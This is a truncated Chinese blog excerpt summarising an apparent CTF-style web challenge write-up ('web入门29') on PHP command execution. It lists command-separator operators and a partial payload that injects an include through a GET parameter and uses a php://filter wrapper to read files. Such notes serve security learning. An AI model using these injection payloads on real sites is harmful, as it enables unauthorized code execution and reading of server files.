小非鱼

摘要： ## 命令执行 运算符有`&，|，;，%0a，%0d` ### web入门29 ``` `可以执行成功。 一个问题include包含php文件不会在页面显示出来 伪协议可以读取文件 ``` payload:?c=include“$_POST[1]”?> 1=php://filter/read=con 阅读全文